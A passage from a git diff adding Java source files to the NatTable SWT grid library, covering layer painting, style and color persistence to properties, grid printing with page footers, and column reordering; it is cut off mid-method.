org.eclipse.swt.graphics.Rectangle; + +/** + * Classes implementing this interface are responsible for painting to the relevant {@link Device}.
    + * Every layer has a layer painter. A layer can contribute to painting by providing its own painter. + * + */ +public interface ILayerPainter { + + /** + * @param natLayer + * @param gc GC used for painting + * @param xOffset of the layer from the origin of the table + * @param yOffset of the layer from the origin of the table + * @param rectangle area the layer can paint in + * @param configuration in use by NatTable. Useful for looking up associated painters. + */ + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle rectangle, IConfigRegistry configuration); + + /** + * This method is used to adjust the cell bounds when painting the layer. This is most often used to reduce the size + * of the cell to accommodate grid lines. + */ + public Rectangle adjustCellBounds(Rectangle cellBounds); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/ColorPersistor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/ColorPersistor.java new file mode 100644 index 0000000..1ff9fa3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/ColorPersistor.java @@ -0,0 +1,58 @@ +package net.sourceforge.nattable.persistence; + +import static net.sourceforge.nattable.persistence.IPersistable.DOT; + +import java.util.Properties; + +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.resource.DataFormatException; +import org.eclipse.jface.resource.StringConverter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Display; + +public class ColorPersistor { + + public static final String STYLE_PERSISTENCE_PREFIX = "color"; + public static final Color DEFAULT_COLOR = Display.getDefault().getSystemColor(SWT.COLOR_WHITE); + + public static void saveColor(String prefix, Properties properties, Color color) { + prefix = prefix + DOT + STYLE_PERSISTENCE_PREFIX; + + if (color == null) { + return; + } + properties.setProperty(prefix, asString(color)); + } + + + public static Color loadColor(String prefix, Properties properties) { + prefix = prefix + DOT + STYLE_PERSISTENCE_PREFIX; + + String colorAsString = properties.getProperty(prefix); + if (colorAsString == null) { + return DEFAULT_COLOR; + } else { + return asColor(colorAsString); + } + } + + /** + * Create a String representation of the SWT Color + */ + public static String asString(Color color) { + return StringConverter.asString(color.getRGB()); + } + + /** + * Create a Color instance using the String created by {@link ColorPersistor#asColor(String)} + */ + public static Color asColor(String colorAsString) { + try { + return GUIHelper.getColor(StringConverter.asRGB(colorAsString)); + } catch (DataFormatException e) { + return DEFAULT_COLOR; + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/IPersistable.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/IPersistable.java new file mode 100644 index 0000000..c39b940 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/IPersistable.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.persistence; + +import java.util.Properties; + +/** + * Instances implementing this interface can save and load their + * state from a properties file. + */ +public interface IPersistable { + + /** + * Separator used for properties. Example: .BODY.columnWidth.resizableByDefault + */ + public static final String DOT = "."; + + /** + * Separator used for values. Example: 0,1,2,3,4 + */ + public static final String VALUE_SEPARATOR = ","; + + /** + * Save state. The prefix must to be prepended to the property key. + */ + public void saveState(String prefix, Properties properties); + + /** + * Restore state. The prefix must to be prepended to the property key. + * + */ + public void loadState(String prefix, Properties properties); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/StylePersistor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/StylePersistor.java new file mode 100644 index 0000000..96f94af --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/persistence/StylePersistor.java @@ -0,0 +1,183 @@ +package net.sourceforge.nattable.persistence; + +import static net.sourceforge.nattable.persistence.IPersistable.DOT; +import static net.sourceforge.nattable.style.CellStyleAttributes.BACKGROUND_COLOR; +import static net.sourceforge.nattable.style.CellStyleAttributes.BORDER_STYLE; +import static net.sourceforge.nattable.style.CellStyleAttributes.FONT; +import static net.sourceforge.nattable.style.CellStyleAttributes.FOREGROUND_COLOR; +import static net.sourceforge.nattable.style.CellStyleAttributes.HORIZONTAL_ALIGNMENT; +import static net.sourceforge.nattable.style.CellStyleAttributes.VERTICAL_ALIGNMENT; + +import java.util.Properties; + +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.VerticalAlignmentEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; + +/** + * Saves and loads the following components of a style to a properties object. + * - Foreground color + * - Background color + * - Horizontal alignment + * - Vertical alignment + * - Font + * - Border style + */ +public class StylePersistor { + + // Style prefix constants + public static final String STYLE_PERSISTENCE_PREFIX = "style"; + public static final String BLUE_COLOR_PREFIX = "blue"; + public static final String GREEN_COLOR_PREFIX = "green"; + public static final String RED_COLOR_PREFIX = "red"; + public static final String V_ALIGNMENT_PREFIX = "verticalAlignment"; + public static final String H_ALIGNMENT_PREFIX = "horizontalAlignment"; + public static final String BG_COLOR_PREFIX = "bg"; + public static final String FG_COLOR_PREFIX = "fg"; + public static final String FONT_PREFIX = "font"; + public static final String BORDER_PREFIX = "border"; + + // Save + + public static void saveStyle(String prefix, Properties properties, Style style) { + prefix = prefix + DOT + STYLE_PERSISTENCE_PREFIX; + + saveColor(prefix + DOT + BG_COLOR_PREFIX, properties, style.getAttributeValue(BACKGROUND_COLOR)); + saveColor(prefix + DOT + FG_COLOR_PREFIX, properties, style.getAttributeValue(FOREGROUND_COLOR)); + + saveHAlign(prefix, properties, style.getAttributeValue(HORIZONTAL_ALIGNMENT)); + saveVAlign(prefix, properties, style.getAttributeValue(VERTICAL_ALIGNMENT)); + + saveFont(prefix, properties, style.getAttributeValue(FONT)); + + saveBorder(prefix, properties, style.getAttributeValue(BORDER_STYLE)); + } + + protected static void saveVAlign(String prefix, Properties properties, VerticalAlignmentEnum vAlign) { + if (vAlign == null) { + return; + } + properties.setProperty(prefix + DOT + V_ALIGNMENT_PREFIX, vAlign.name()); + } + + protected static void saveHAlign(String prefix, Properties properties, HorizontalAlignmentEnum hAlign) { + if (hAlign == null) { + return; + } + properties.setProperty(prefix + DOT + H_ALIGNMENT_PREFIX, hAlign.name()); + } + + protected static void saveBorder(String prefix, Properties properties, BorderStyle borderStyle) { + if (borderStyle == null) { + return; + } + properties.setProperty(prefix + DOT + BORDER_PREFIX, String.valueOf(borderStyle.toString())); + } + + protected static void saveFont(String prefix, Properties properties, Font font) { + if (font == null) { + return; + } + properties.setProperty(prefix + DOT + FONT_PREFIX, String.valueOf(font.getFontData()[0].toString())); + } + + protected static void saveColor(String prefix, Properties properties, Color color) { + if (color == null) { + return; + } + ColorPersistor.saveColor(prefix, properties, color); + } + + // Load + + public static Style loadStyle(String prefix, Properties properties) { + Style style = new Style(); + prefix = prefix + DOT + STYLE_PERSISTENCE_PREFIX; + + // BG Color + String bgColorPrefix = prefix + DOT + BG_COLOR_PREFIX; + Color bgColor = loadColor(bgColorPrefix, properties); + if (bgColor != null) { + style.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, bgColor); + } + + // FG Color + String fgColorPrefix = prefix + DOT + FG_COLOR_PREFIX; + Color fgColor = loadColor(fgColorPrefix, properties); + if (fgColor != null) { + style.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, fgColor); + } + + // Alignment + String hAlignPrefix = prefix + DOT + H_ALIGNMENT_PREFIX; + HorizontalAlignmentEnum hAlign = loadHAlignment(hAlignPrefix, properties); + if (hAlign != null) { + style.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + } + + String vAlignPrefix = prefix + DOT + V_ALIGNMENT_PREFIX; + VerticalAlignmentEnum vAlign = loadVAlignment(vAlignPrefix, properties); + if (vAlign != null) { + style.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + } + + // Font + String fontPrefix = prefix + DOT + FONT_PREFIX; + Font font = loadFont(fontPrefix, properties); + if (font != null) { + style.setAttributeValue(CellStyleAttributes.FONT, font); + } + + // Border Style + String borderPrefix = prefix + DOT + BORDER_PREFIX; + BorderStyle borderStyle = loadBorderStyle(borderPrefix, properties); + if (borderStyle != null) { + style.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + } + + return style; + } + + private static BorderStyle loadBorderStyle(String borderPrefix, Properties properties) { + String borderStyle = properties.getProperty(borderPrefix); + if (borderStyle != null) { + return new BorderStyle(borderStyle); + } + return null; + } + + private static Font loadFont(String fontPrefix, Properties properties) { + String fontdata = properties.getProperty(fontPrefix); + if (fontdata != null) { + return GUIHelper.getFont(new FontData(fontdata)); + } + return null; + } + + private static HorizontalAlignmentEnum loadHAlignment(String hAlignPrefix, Properties properties) { + String enumName = properties.getProperty(hAlignPrefix); + if (enumName != null) { + return HorizontalAlignmentEnum.valueOf(enumName); + } + return null; + } + + private static VerticalAlignmentEnum loadVAlignment(String vAlignPrefix, Properties properties) { + String enumName = properties.getProperty(vAlignPrefix); + if (enumName != null) { + return VerticalAlignmentEnum.valueOf(enumName); + } + return null; + } + + protected static Color loadColor(String prefix, Properties properties) { + return ColorPersistor.loadColor(prefix, properties); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/GridLayerPrinter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/GridLayerPrinter.java new file mode 100644 index 0000000..3966c6a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/GridLayerPrinter.java @@ -0,0 +1,255 @@ +package net.sourceforge.nattable.print; + +import java.text.SimpleDateFormat; +import java.util.Date; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.print.command.PrintEntireGridCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.Transform; +import org.eclipse.swt.printing.PrintDialog; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.printing.PrinterData; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +public class GridLayerPrinter { + + private final IConfigRegistry configRegistry; + private final ILayer gridLayer; + private final IClientAreaProvider originalClientAreaProvider; + public static final int FOOTER_HEIGHT_IN_PRINTER_DPI = 300; + + final SimpleDateFormat dateFormat = new SimpleDateFormat("EEE, d MMM yyyy HH:mm a"); + private final String footerDate; + + public GridLayerPrinter(GridLayer gridLayer, IConfigRegistry configRegistry) { + this.gridLayer = gridLayer; + this.configRegistry = configRegistry; + this.originalClientAreaProvider = gridLayer.getClientAreaProvider(); + this.footerDate = dateFormat.format(new Date()); + } + + /** + * Amount to scale the screen resolution by, to match the printer the + * resolution. + */ + private Point computeScaleFactor(Printer printer) { + Point screenDPI = Display.getDefault().getDPI(); + Point printerDPI = printer.getDPI(); + + int scaleFactorX = printerDPI.x / screenDPI.x; + int scaleFactorY = printerDPI.y / screenDPI.y; + return new Point(scaleFactorX, scaleFactorY); + } + + /** + * Size of the grid to fit all the contents. + */ + private Rectangle getTotalGridArea() { + return new Rectangle(0, 0, gridLayer.getWidth(), gridLayer.getHeight()); + } + + /** + * Calculate number of horizontal and vertical pages needed + * to print the entire grid. + */ + private Point getPageCount(Printer printer){ + Rectangle gridArea = getTotalGridArea(); + Rectangle printArea = computePrintArea(printer); + Point scaleFactor = computeScaleFactor(printer); + + int numOfHorizontalPages = gridArea.width / (printArea.width / scaleFactor.x); + int numOfVerticalPages = gridArea.height / (printArea.height / scaleFactor.y); + + // Adjusting for 0 index + return new Point(numOfHorizontalPages + 1, numOfVerticalPages + 1); + } + + public void print(final Shell shell) { + final Printer printer = setupPrinter(shell); + if (printer == null) { + return; + } + setGridLayerSize(printer.getPrinterData()); + + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + if (printer.startJob("NatTable")) { + final Rectangle printerClientArea = computePrintArea(printer); + final Point scaleFactor = computeScaleFactor(printer); + final Point pageCount = getPageCount(printer); + GC gc = new GC(printer); + + // Print pages Left to Right and then Top to Down + int currentPage = 1; + for (int verticalPageNumber = 0; verticalPageNumber < pageCount.y; verticalPageNumber++) { + + for (int horizontalPageNumber = 0; horizontalPageNumber < pageCount.x; horizontalPageNumber++) { + + // Calculate bounds for the next page + Rectangle printBounds = new Rectangle((printerClientArea.width / scaleFactor.x) * horizontalPageNumber, + ((printerClientArea.height - FOOTER_HEIGHT_IN_PRINTER_DPI) / scaleFactor.y) * verticalPageNumber, + printerClientArea.width / scaleFactor.x, + (printerClientArea.height - FOOTER_HEIGHT_IN_PRINTER_DPI) / scaleFactor.y); + + if (shouldPrint(printer.getPrinterData(), currentPage)) { + printer.startPage(); + + Transform printerTransform = new Transform(printer); + + // Adjust for DPI difference between display and printer + printerTransform.scale(scaleFactor.x, scaleFactor.y); + + // Adjust for margins + printerTransform.translate(printerClientArea.x / scaleFactor.x, printerClientArea.y / scaleFactor.y); + + // Grid will nor automatically print the pages at the left margin. + // Example: page 1 will print at x = 0, page 2 at x = 100, page 3 at x = 300 + // Adjust to print from the left page margin. i.e x = 0 + printerTransform.translate(-1 * printBounds.x, -1 * printBounds.y); + gc.setTransform(printerTransform); + + printGrid(gc, printBounds); + + printFooter(gc, currentPage, printBounds); + + printer.endPage(); + printerTransform.dispose(); + } + currentPage++; + } + } + + printer.endJob(); + + gc.dispose(); + printer.dispose(); + } + restoreGridLayerState(); + } + + private void printGrid(GC gc, Rectangle printBounds) { + gridLayer.getLayerPainter().paintLayer(gridLayer, gc, 0, 0, printBounds, configRegistry); + } + + private void printFooter(GC gc, int totalPageCount, Rectangle printBounds) { + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + + gc.drawLine(printBounds.x, + printBounds.y + printBounds.height+10, + printBounds.x + printBounds.width, + printBounds.y + printBounds.height+10); + + gc.drawText("Page " + totalPageCount, + printBounds.x, + printBounds.y + printBounds.height + 15); + + // Approximate width of the date string: 140 + gc.drawText(footerDate, + printBounds.x + printBounds.width - 140, + printBounds.y + printBounds.height + 15); + } + }); + } + + /** + * Checks if a given page number should be printed. + * Page is allowed to print if: + * User asked to print all pages or Page in a specified range + */ + private boolean shouldPrint(PrinterData printerData, int totalPageCount) { + if(printerData.scope == PrinterData.PAGE_RANGE){ + return totalPageCount >= printerData.startPage && totalPageCount <= printerData.endPage; + } + return true; + } + + private Printer setupPrinter(final Shell shell) { + Printer defaultPrinter = new Printer(); + Point pageCount = getPageCount(defaultPrinter); + defaultPrinter.dispose(); + + final PrintDialog printDialog = new PrintDialog(shell); + printDialog.setStartPage(1); + printDialog.setEndPage(pageCount.x * pageCount.y); + printDialog.setScope(PrinterData.ALL_PAGES); + + PrinterData printerData = printDialog.open(); + if(printerData == null){ + return null; + } + return new Printer(printerData); + } + + /** + * Expand the client area of the grid such that + * all the contents fit in the viewport. This ensures that when the grid prints + * we print the entire table. + * @param printer + */ + private void setGridLayerSize(PrinterData printerData) { + if (printerData.scope == PrinterData.SELECTION) { + gridLayer.setClientAreaProvider(originalClientAreaProvider); + return; + } + + final Rectangle fullGridSize = getTotalGridArea(); + + gridLayer.setClientAreaProvider(new IClientAreaProvider(){ + public Rectangle getClientArea() { + return fullGridSize; + } + }); + + gridLayer.doCommand(new PrintEntireGridCommand()); + } + + private void restoreGridLayerState() { + gridLayer.setClientAreaProvider(originalClientAreaProvider); + gridLayer.doCommand(new TurnViewportOnCommand()); + } + + /** + * Computes the print area, including margins + */ + private static Rectangle computePrintArea(Printer printer) { + // Get the printable area + Rectangle rect = printer.getClientArea(); + + // Compute the trim + Rectangle trim = printer.computeTrim(0, 0, 0, 0); + + // Get the printer's DPI + Point dpi = printer.getDPI(); + dpi.x = dpi.x / 2; + dpi.y = dpi.y / 2; + + // Calculate the printable area, using 1 inch margins + int left = trim.x + dpi.x; + if (left < rect.x) left = rect.x; + + int right = (rect.width + trim.x + trim.width) - dpi.x; + if (right > rect.width) right = rect.width; + + int top = trim.y + dpi.y; + if (top < rect.y) top = rect.y; + + int bottom = (rect.height + trim.y + trim.height) - dpi.y; + if (bottom > rect.height) bottom = rect.height; + + return new Rectangle(left, top, right - left, bottom - top); + } + + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/action/PrintAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/action/PrintAction.java new file mode 100644 index 0000000..74ae583 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/action/PrintAction.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.print.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.print.command.PrintCommand; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class PrintAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new TurnViewportOffCommand()); + + natTable.doCommand(new PrintCommand(natTable.getConfigRegistry(), natTable.getShell())); + + natTable.doCommand(new TurnViewportOnCommand()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommand.java new file mode 100644 index 0000000..b8d63d5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommand.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.print.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; +import net.sourceforge.nattable.config.IConfigRegistry; + +import org.eclipse.swt.widgets.Shell; + +public class PrintCommand extends AbstractContextFreeCommand { + + private final IConfigRegistry configRegistry; + private Shell shell; + + public PrintCommand(IConfigRegistry configRegistry, Shell shell) { + this.configRegistry = configRegistry; + this.shell = shell; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public Shell getShell() { + return shell; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommandHandler.java new file mode 100644 index 0000000..8b3e520 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintCommandHandler.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.print.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.print.GridLayerPrinter; + +public class PrintCommandHandler extends AbstractLayerCommandHandler { + + private final GridLayer gridLayer; + + public PrintCommandHandler(GridLayer defaultGridLayer) { + this.gridLayer = defaultGridLayer; + } + + public boolean doCommand(PrintCommand command) { + new GridLayerPrinter(gridLayer, command.getConfigRegistry()).print(command.getShell()); + return true; + } + + public Class getCommandClass() { + return PrintCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintEntireGridCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintEntireGridCommand.java new file mode 100644 index 0000000..4c93937 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/PrintEntireGridCommand.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.print.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +/** + * The viewport picks this up and moved to 0,0 so that + * the entire grid can be printed. + */ +public class PrintEntireGridCommand extends AbstractContextFreeCommand { + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOffCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOffCommand.java new file mode 100644 index 0000000..28e0912 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOffCommand.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.print.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +/** + * This command is handled by the viewport. It essentially causes the viewport + * to turn off by relaying all dimension requests to the underlying scrollable + * layer. + * + * This is useful when operations have to be performed on the entire grid + * including the areas outside the viewport. Example printing, excel export, + * auto resize all columns etc. + */ +public class TurnViewportOffCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOnCommand.java new file mode 100644 index 0000000..936fb90 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/command/TurnViewportOnCommand.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.print.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +/** + * Restores the viewport to its normal operation. + * + * @see TurnViewportOffCommand + */ +public class TurnViewportOnCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/config/DefaultPrintBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/config/DefaultPrintBindings.java new file mode 100644 index 0000000..0365be3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/print/config/DefaultPrintBindings.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.print.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.print.action.PrintAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultPrintBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL, 'p'), new PrintAction()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/ColumnReorderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/ColumnReorderLayer.java new file mode 100644 index 0000000..cda8981 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/ColumnReorderLayer.java @@ -0,0 +1,279 @@ +package net.sourceforge.nattable.reorder; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; +import java.util.StringTokenizer; + +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LayerUtil; +import net.sourceforge.nattable.layer.event.ColumnStructuralRefreshEvent; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommandHandler; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommandHandler; +import net.sourceforge.nattable.reorder.config.DefaultColumnReorderLayerConfiguration; +import net.sourceforge.nattable.reorder.event.ColumnReorderEvent; + +/** + * Adds functionality for reordering column(s)
    + * Also responsible for saving/loading the column order state. + * + * @see DefaultColumnReorderLayerConfiguration + */ +public class ColumnReorderLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + public static final String PERSISTENCE_KEY_COLUMN_INDEX_ORDER = ".columnIndexOrder"; + + private final IUniqueIndexLayer underlyingLayer; + + // Position X in the List contains the index of column at position X + private final List columnIndexOrder = new ArrayList(); + + private final Map startXCache = new HashMap(); + + public ColumnReorderLayer(IUniqueIndexLayer underlyingLayer) { + this(underlyingLayer, true); + } + + public ColumnReorderLayer(IUniqueIndexLayer underlyingLayer, boolean useDefaultConfiguration) { + super(underlyingLayer); + this.underlyingLayer = underlyingLayer; + + populateIndexOrder(); + + registerCommandHandler(new ColumnReorderCommandHandler(this)); + registerCommandHandler(new MultiColumnReorderCommandHandler(this)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultColumnReorderLayerConfiguration()); + } + } + + @Override + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof IStructuralChangeEvent) { + IStructuralChangeEvent structuralChangeEvent = (IStructuralChangeEvent) event; + if (structuralChangeEvent.isHorizontalStructureChanged()) { + Collection structuralDiffs = structuralChangeEvent.getColumnDiffs(); + if (structuralDiffs == null) { + // Assume everything changed + columnIndexOrder.clear(); + populateIndexOrder(); + } else { + for (StructuralDiff structuralDiff : structuralDiffs) { + switch (structuralDiff.getDiffType()) { + case ADD: + columnIndexOrder.clear(); + populateIndexOrder(); + break; + case DELETE: + columnIndexOrder.clear(); + populateIndexOrder(); + break; + } + } + } + invalidateCache(); + } + } + super.handleLayerEvent(event); + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + super.saveState(prefix, properties); + if (columnIndexOrder.size() > 0) { + StringBuilder strBuilder = new StringBuilder(); + for (Integer index : columnIndexOrder) { + strBuilder.append(index); + strBuilder.append(','); + } + properties.setProperty(prefix + PERSISTENCE_KEY_COLUMN_INDEX_ORDER, strBuilder.toString()); + } + } + + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + String property = properties.getProperty(prefix + PERSISTENCE_KEY_COLUMN_INDEX_ORDER); + + if (property != null) { + List newColumnIndexOrder = new ArrayList(); + StringTokenizer tok = new StringTokenizer(property, ","); + while (tok.hasMoreTokens()) { + String index = tok.nextToken(); + newColumnIndexOrder.add(Integer.valueOf(index)); + } + + if(isRestoredStateValid(newColumnIndexOrder)){ + columnIndexOrder.clear(); + columnIndexOrder.addAll(newColumnIndexOrder); + } + } + fireLayerEvent(new ColumnStructuralRefreshEvent(this)); + } + + /** + * Ensure that columns haven't changed in the underlying data source + * @param newColumnIndexOrder restored from the properties file. + */ + protected boolean isRestoredStateValid(List newColumnIndexOrder) { + if (newColumnIndexOrder.size() != getColumnCount()){ + System.err.println( + "Number of persisted columns (" + newColumnIndexOrder.size() + ") " + + "is not the same as the number of columns in the data source (" + getColumnCount() + ").\n" + + "Skipping restore of column ordering"); + return false; + } + + for (Integer index : newColumnIndexOrder) { + if(!columnIndexOrder.contains(index)){ + System.err.println( + "Column index: " + index + " being restored, is not a available in the data soure.\n" + + "Skipping restore of column ordering"); + return false; + } + } + return true; + } + + // Columns + + @Override + public int getColumnIndexByPosition(int columnPosition) { + if (columnPosition >= 0 && columnPosition < columnIndexOrder.size()) { + return columnIndexOrder.get(columnPosition).intValue(); + } else { + return -1; + } + } + + public int getColumnPositionByIndex(int columnIndex) { + return columnIndexOrder.indexOf(Integer.valueOf(columnIndex)); + } + + @Override + public int localToUnderlyingColumnPosition(int localColumnPosition) { + int columnIndex = getColumnIndexByPosition(localColumnPosition); + return underlyingLayer.getColumnPositionByIndex(columnIndex); + } + + @Override + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + int columnIndex = underlyingLayer.getColumnIndexByPosition(underlyingColumnPosition); + return getColumnPositionByIndex(columnIndex); + } + + @Override + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + List reorderedColumnPositions = new ArrayList(); + for (Range underlyingColumnPositionRange : underlyingColumnPositionRanges) { + for (int underlyingColumnPosition = underlyingColumnPositionRange.start; underlyingColumnPosition < underlyingColumnPositionRange.end; underlyingColumnPosition++) { + int localColumnPosition = underlyingToLocalColumnPosition(sourceUnderlyingLayer, underlyingColumnPositionRange.start); + reorderedColumnPositions.add(Integer.valueOf(localColumnPosition)); + } + } + Collections.sort(reorderedColumnPositions); + + return PositionUtil.getRanges(reorderedColumnPositions); + } + + // X + + @Override + public int getColumnPositionByX(int x) { + return LayerUtil.getColumnPositionByX(this, x); + } + + @Override + public int getStartXOfColumnPosition(int targetColumnPosition) { + Integer cachedStartX = startXCache.get(Integer.valueOf(targetColumnPosition)); + if (cachedStartX != null) { + return cachedStartX.intValue(); + } + + int aggregateWidth = 0; + for (int columnPosition = 0; columnPosition < targetColumnPosition; columnPosition++) { + aggregateWidth += underlyingLayer.getColumnWidthByPosition(localToUnderlyingColumnPosition(columnPosition)); + } + + startXCache.put(Integer.valueOf(targetColumnPosition), Integer.valueOf(aggregateWidth)); + return aggregateWidth; + } + + private void populateIndexOrder() { + ILayer underlyingLayer = getUnderlyingLayer(); + for (int columnPosition = 0; columnPosition < underlyingLayer.getColumnCount(); columnPosition++) { + columnIndexOrder.add(Integer.valueOf(underlyingLayer.getColumnIndexByPosition(columnPosition))); + } + } + + // Vertical features + + // Rows + + public int getRowPositionByIndex(int rowIndex) { + return underlyingLayer.getRowPositionByIndex(rowIndex); + } + + /** + * Moves the column to the LEFT of the toColumnPosition + * @param fromColumnPosition column position to move + * @param toColumnPosition position to move the column to + */ + private void moveColumn(int fromColumnPosition, int toColumnPosition) { + Integer fromColumnIndex = columnIndexOrder.get(fromColumnPosition); + columnIndexOrder.add(toColumnPosition, fromColumnIndex); + + columnIndexOrder.remove(fromColumnPosition + 